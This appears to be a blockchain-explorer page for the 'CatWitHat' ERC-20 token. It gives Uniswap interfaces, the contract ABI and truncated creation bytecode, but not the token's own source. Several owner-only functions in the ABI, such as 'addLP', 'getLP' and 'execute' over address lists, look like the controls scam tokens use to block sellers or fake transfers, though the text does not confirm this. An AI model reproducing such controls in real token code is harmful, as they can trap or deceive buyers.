pragma solidity 0.8.20;

interface IUniswapV2Pair {
    function sync() external;
    function transferFrom(address from, address to, uint value) external returns (bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}


interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"team_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"uint256","name":"value","type":"uint256"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"addLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addTeamMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"getLP","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"liquidityPools","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualBurnLiquidityPairTokens","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a060405262278f58600d556001600f55600160105f6101000a81548160ff02191690831515021790555065013ca6512000601155600160135f6101000a81548160ff0219169083151502179055506001601360016101000a81548160ff0219169083151502179055506001601360026101000a81548160ff021916908315150217905550600160215f6101000a81548160ff021916908315150217905550348015620000aa575f80fd5b50604051620064b5380380620064b58339818101604052810190620000d0919062000a1f565b6040518060400160405280600981526020017f43617457697448617400000000000000000000000000000000000000000000008152506040518060400160405280600981526020017f436174576974486174000000000000000000000000000000000000000000000081525082805f6200014f620004e660201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505082600490816200023d919062000cb3565b5081600590816200024f919062000cb3565b505050505f737a250d5630b4cf539739df2c5dacb4c659f2488d90506200027e816001620004ed60201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250505f805f805f805f67016345785d8a00009050856017819055508660168190555084601881905550601854601754601654620002ee919062000dc4565b620002fa919062000dc4565b60158190555082601c8190555083601b8190555081601981905550601954601c54601b546200032a919062000dc4565b62000336919062000dc4565b601a819055506107d0600a826200034e919062000dfe565b6200035a919062000e75565b600981905550693f870857a3e0e3800000600a8190555069152d02c7e14af6800000600881905550620003926200055560201b60201c565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620003e16200055560201b60201c565b600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004333060016200057c60201b60201c565b6200044861dead60016200057c60201b60201c565b6200046a6200045c6200055560201b60201c565b60016200057c60201b60201c565b6200047d306001620004ed60201b60201c565b6200049261dead6001620004ed60201b60201c565b620004b4620004a66200055560201b60201c565b6001620004ed60201b60201c565b620004c633826200063460201b60201c565b620004d6620007d360201b60201c565b5050505050505050505062001069565b5f33905090565b620004fd6200080560201b60201c565b8060225f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6200058c6200080560201b60201c565b8060235f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405162000628919062000ec8565b60405180910390a25050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620006a5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200069c9062000f41565b60405180910390fd5b620006b85f83836200089660201b60201c565b620006cf816006546200089b60201b90919060201c565b600681905550620007278160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546200089b60201b90919060201c565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620007c7919062000f72565b60405180910390a35050565b5f620007e46200080560201b60201c565b5f601360026101000a81548160ff0219169083151502179055506001905090565b62000815620004e660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166200083b620008fd60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000894576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200088b9062000fdb565b60405180910390fd5b565b505050565b5f808284620008ab919062000dc4565b905083811015620008f3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008ea9062001049565b60405180910390fd5b8091505092915050565b5f806200090f6200091860201b60201c565b90508091505090565b5f8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000992575f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff16620009b5565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620009e982620009be565b9050919050565b620009fb81620009dd565b811462000a06575f80fd5b50565b5f8151905062000a1981620009f0565b92915050565b5f6020828403121562000a375762000a36620009ba565b5b5f62000a468482850162000a09565b91505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000acb57607f821691505b60208210810362000ae15762000ae062000a86565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000b457fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000b08565b62000b51868362000b08565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000b9b62000b9562000b8f8462000b69565b62000b72565b62000b69565b9050919050565b5f819050919050565b62000bb68362000b7b565b62000bce62000bc58262000ba2565b84845462000b14565b825550505050565b5f90565b62000be462000bd6565b62000bf181848462000bab565b505050565b5b8181101562000c185762000c0c5f8262000bda565b60018101905062000bf7565b5050565b601f82111562000c675762000c318162000ae7565b62000c3c8462000af9565b8101602085101562000c4c578190505b62000c6462000c5b8562000af9565b83018262000bf6565b50505b505050565b5f82821c905092915050565b5f62000c895f198460080262000c6c565b1980831691505092915050565b5f62000ca3838362000c78565b9150826002028217905092915050565b62000cbe8262000a4f565b67ffffffffffffffff81111562000cda5762000cd962000a59565b5b62000ce6825462000ab3565b62000cf382828562000c1c565b5f60209050601f83116001811462000d29575f841562000d14578287015190505b62000d20858262000c96565b86555062000d8f565b601f19841662000d398662000ae7565b5f5b8281101562000d625784890151825560018201915060208501945060208101905062000d3b565b8683101562000d82578489015162000d7e601f89168262000c78565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f62000dd08262000b69565b915062000ddd8362000b69565b925082820190508082111562000df85762000df762000d97565b5b92915050565b5f62000e0a8262000b69565b915062000e178362000b69565b925082820262000e278162000b69565b9150828204841483151762000e415762000e4062000d97565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000e818262000b69565b915062000e8e8362000b69565b92508262000ea15762000ea062000e48565b5b828204905092915050565b5f8115159050919050565b62000ec28162000eac565b82525050565b5f60208201905062000edd5f83018462000eb7565b92915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000f29601f8362000ee3565b915062000f368262000ef3565b602082019050919050565b5f6020820190508181035f83015262000f5a8162000f1b565b9050919050565b62000f6c8162000b69565b82525050565b5f60208201905062000f875f83018462000f61565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f62000fc360208362000ee3565b915062000fd08262000f8d565b602082019050919050565b5f6020820190508181035f83015262000ff48162000fb5565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f62001031601b8362000ee3565b91506200103e8262000ffb565b602082019050919050565b5f6020820190508181035f830152620010628162001023565b9050919050565b6080516154176200109e5f395f81816110c2015281816129ea01528181613b7601528181613c550152613c7c01526154175ff3fe6080604052600436106103f2575f3560e01c80638da5cb5b11610207578063c2b7bbb611610117578063e2b9451c116100aa578063f2fde38b11610079578063f2fde38b14610ef9578063f61f931514610f21578063f637434214610f49578063f8b45b0514610f73578063fe72b27a14610f9d576103f9565b8063e2b9451c14610e53578063e2f4560514610e7b578063e884f26014610ea5578063f11a24d314610ecf576103f9565b8063d257b34f116100e6578063d257b34f14610d75578063d85ba06314610db1578063dd62ed3e14610ddb578063e02ae09f14610e17576103f9565b8063c2b7bbb614610cbd578063c847255614610ce5578063c876d0b914610d21578063c8c8ebe414610d4b576103f9565b8063a0d82dc51161019a578063aacebbe311610169578063aacebbe314610bf3578063bbc0c74214610c1b578063c024666814610c45578063c17b5b8c14610c6d578063c18bc19514610c95576103f9565b8063a0d82dc514610b27578063a457c2d714610b51578063a4c82a0014610b8d578063a9059cbb14610bb7576103f9565b806395d89b41116101d657806395d89b4114610a7f5780639c3b4fdc14610aa95780639ec22c0e14610ad35780639fccce3214610afd576103f9565b80638da5cb5b146109d95780638ea5220f14610a035780639213691314610a2d578063924de9b714610a57576103f9565b8063313ce5671161030257806370a08231116102955780637571336a116102645780637571336a1461091f57806375f0a874146109475780637bce5a04146109715780638095d5641461099b5780638a8c523c146109c3576103f9565b806370a082311461087b578063715018a6146108b7578063730c1888146108cd578063751039fc146108f5576103f9565b806349bd5a5e116102d157806349bd5a5e146107c15780634fbee193146107eb5780636a486a8e146108275780636ddd171314610851576103f9565b8063313ce567146107095780633582ad2314610733578063395093511461075d5780633eb2b5ad14610799576103f9565b8063199ffc721161038557806323b872dd1161035457806323b872dd1461062757806326ededb81461066357806327c8f8351461068b5780632c3e486c146106b55780632e82f1a0146106df576103f9565b8063199ffc72146105815780631a8145bb146105ab5780631f3fed8f146105d5578063203e727e146105ff576103f9565b80631694505e116103c15780631694505e146104db57806318160ddd146105055780631816467f1461052f578063184c16c514610557576103f9565b806306fdde03146103fd578063095ea7b3146104275780630b0fd47e1461046357806310d5de531461049f576103f9565b366103f957005b5f80fd5b348015610408575f80fd5b50610411610fd9565b60405161041e9190613d96565b60405180910390f35b348015610432575f80fd5b5061044d60048036038101906104489190613e4b565b611069565b60405161045a9190613ea3565b60405180910390f35b34801561046e575f80fd5b5061048960048036038101906104849190613ebc565b611086565b6040516104969190613ea3565b60405180910390f35b3480156104aa575f80fd5b506104c560048036038101906104c09190613ebc565b6110a3565b6040516104d29190613ea3565b60405180910390f35b3480156104e6575f80fd5b506104ef6110c0565b6040516104fc9190613f42565b60405180910390f35b348015610510575f80fd5b506105196110e4565b6040516105269190613f6a565b60405180910390f35b34801561053a575f80fd5b5061055560048036038101906105509190613ebc565b6110ed565b005b348015610562575f80fd5b5061056b6111b3565b6040516105789190613f6a565b60405180910390f35b34801561058c575f80fd5b506105956111b9565b6040516105a29190613f6a565b60405180910390f35b3480156105b6575f80fd5b506105bf6111bf565b6040516105cc9190613f6a565b60405180910390f35b3480156105e0575f80fd5b506105e96111c5565b6040516105f69190613f6a565b60405180910390f35b34801561060a575f80fd5b5061062560048036038101906106209190613f83565b6111cb565b005b348015610632575f80fd5b5061064d60048036038101906106489190613fae565b611262565b60405161065a9190613ea3565b60405180910390f35b34801561066e575f80fd5b506106896004803603810190610684919061405f565b611336565b005b348015610696575f80fd5b5061069f611411565b6040516106ac91906140cb565b60405180910390f35b3480156106c0575f80fd5b506106c9611417565b6040516106d69190613f6a565b60405180910390f35b3480156106ea575f80fd5b506106f361141d565b6040516107009190613ea3565b60405180910390f35b348015610714575f80fd5b5061071d61142f565b60405161072a91906140ff565b60405180910390f35b34801561073e575f80fd5b50610747611437565b6040516107549190613ea3565b60405180910390f35b348015610768575f80fd5b50610783600480360381019061077e9190613e4b565b61144a565b6040516107909190613ea3565b60405180910390f35b3480156107a4575f80fd5b506107bf60048036038101906107ba9190613ebc565b6114f8565b005b3480156107cc575f80fd5b506107d5611543565b6040516107e291906140cb565b60405180910390f35b3480156107f6575f80fd5b50610811600480360381019061080c9190613ebc565b611568565b60405161081e9190613ea3565b60405180910390f35b348015610832575f80fd5b5061083b6115ba565b6040516108489190613f6a565b60405180910390f35b34801561085c575f80fd5b506108656115c0565b6040516108729190613ea3565b60405180910390f35b348015610886575f80fd5b506108a1600480360381019061089c9190613ebc565b6115d3565b6040516108ae9190613f6a565b60405180910390f35b3480156108c2575f80fd5b506108cb611619565b005b3480156108d8575f80fd5b506108f360048036038101906108ee9190614142565b6116db565b005b348015610900575f80fd5b506109096117a5565b6040516109169190613ea3565b60405180910390f35b34801561092a575f80fd5b5061094560048036038101906109409190614192565b6117cf565b005b348015610952575f80fd5b5061095b61182f565b60405161096891906140cb565b60405180910390f35b34801561097c575f80fd5b50610985611854565b6040516109929190613f6a565b60405180910390f35b3480156109a6575f80fd5b506109c160048036038101906109bc91906141d0565b61185a565b005b3480156109ce575f80fd5b506109d76118e5565b005b3480156109e4575f80fd5b506109ed61192b565b6040516109fa91906140cb565b60405180910390f35b348015610a0e575f80fd5b50610a17611952565b604051610a2491906140cb565b60405180910390f35b348015610a38575f80fd5b50610a41611977565b604051610a4e9190613f6a565b60405180910390f35b348015610a62575f80fd5b50610a7d6004803603810190610a789190614220565b61197d565b005b348015610a8a575f80fd5b50610a936119a2565b604051610aa09190613d96565b60405180910390f35b348015610ab4575f80fd5b50610abd611a32565b604051610aca9190613f6a565b60405180910390f35b348015610ade575f80fd5b50610ae7611a38565b604051610af49190613f6a565b60405180910390f35b348015610b08575f80fd5b50610b11611a3e565b604051610b1e9190613f6a565b60405180910390f35b348015610b32575f80fd5b50610b3b611a44565b604051610b489190613f6a565b60405180910390f35b348015610b5c575f80fd5b50610b776004803603810190610b729190613e4b565b611a4a565b604051610b849190613ea3565b60405180910390f35b348015610b98575f80fd5b50610ba1611b12565b604051610bae9190613f6a565b60405180910390f35b348015610bc2575f80fd5b50610bdd6004803603810190610bd89190613e4b565b611b18565b604051610bea9190613ea3565b60405180910390f35b348015610bfe575f80fd5b50610c196004803603810190610c149190613ebc565b611b35565b005b348015610c26575f80fd5b50610c2f611bfb565b604051610c3c9190613ea3565b60405180910390f35b348015610c50575f80fd5b50610c6b6004803603810190610c669190614192565b611c0d565b005b348015610c78575f80fd5b50610c936004803603810190610c8e91906141d0565b611cbb565b005b348015610ca0575f80fd5b50610cbb6004803603810190610cb69190613f83565b611d46565b005b348015610cc8575f80fd5b50610ce36004803603810190610cde9190613ebc565b611dd9565b005b348015610cf0575f80fd5b50610d0b6004803603810190610d069190613f83565b611e50565b604051610d1891906140cb565b60405180910390f35b348015610d2c575f80fd5b50610d35611e80565b604051610d429190613ea3565b60405180910390f35b348015610d56575f80fd5b50610d5f611e92565b604051610d6c9190613f6a565b60405180910390f35b348015610d80575f80fd5b50610d9b6004803603810190610d969190613f83565b611e98565b604051610da89190613ea3565b60405180910390f35b348015610dbc575f80fd5b50610dc5611f78565b604051610dd29190613f6a565b60405180910390f35b348015610de6575f80fd5b50610e016004803603810190610dfc919061424b565b611f7e565b604051610e0e9190613f6a565b60405180910390f35b348015610e22575f80fd5b50610e3d6004803603810190610e389190613ebc565b612000565b604051610e4a9190613ea3565b60405180910390f35b348015610e5e575f80fd5b50610e796004803603810190610e749190614289565b612052565b005b348015610e86575f80fd5b50610e8f6120fb565b604051610e9c9190613f6a565b60405180910390f35b348015610eb0575f80fd5b50610eb9612101565b604051610ec69190613ea3565b60405180910390f35b348015610eda575f80fd5b50610ee361212a565b604051610ef09190613f6a565b60405180910390f35b348015610f04575f80fd5b50610f1f6004803603810190610f1a9190613ebc565b612130565b005b348015610f2c575f80fd5b50610f476004803603810190610f429190613e4b565b612261565b005b348015610f54575f80fd5b50610f5d612277565b604051610f6a9190613f6a565b60405180910390f35b348015610f7e575f80fd5b50610f8761227d565b604051610f949190613f6a565b60405180910390f35b348015610fa8575f80fd5b50610fc36004803603810190610fbe9190613f83565b612283565b604051610fd09190613ea3565b60405180910390f35b606060048054610fe890614313565b80601f016020809104026020016040519081016040528092919081815260200182805461101490614313565b801561105f5780601f106110365761010080835404028352916020019161105f565b820191905f5260205f20905b81548152906001019060200180831161104257829003601f168201915b5050505050905090565b5f61107c611075612452565b8484612459565b6001905092915050565b6014602052805f5260405f205f915054906101000a900460ff1681565b6022602052805f5260405f205f915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f600654905090565b6110f561261c565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07b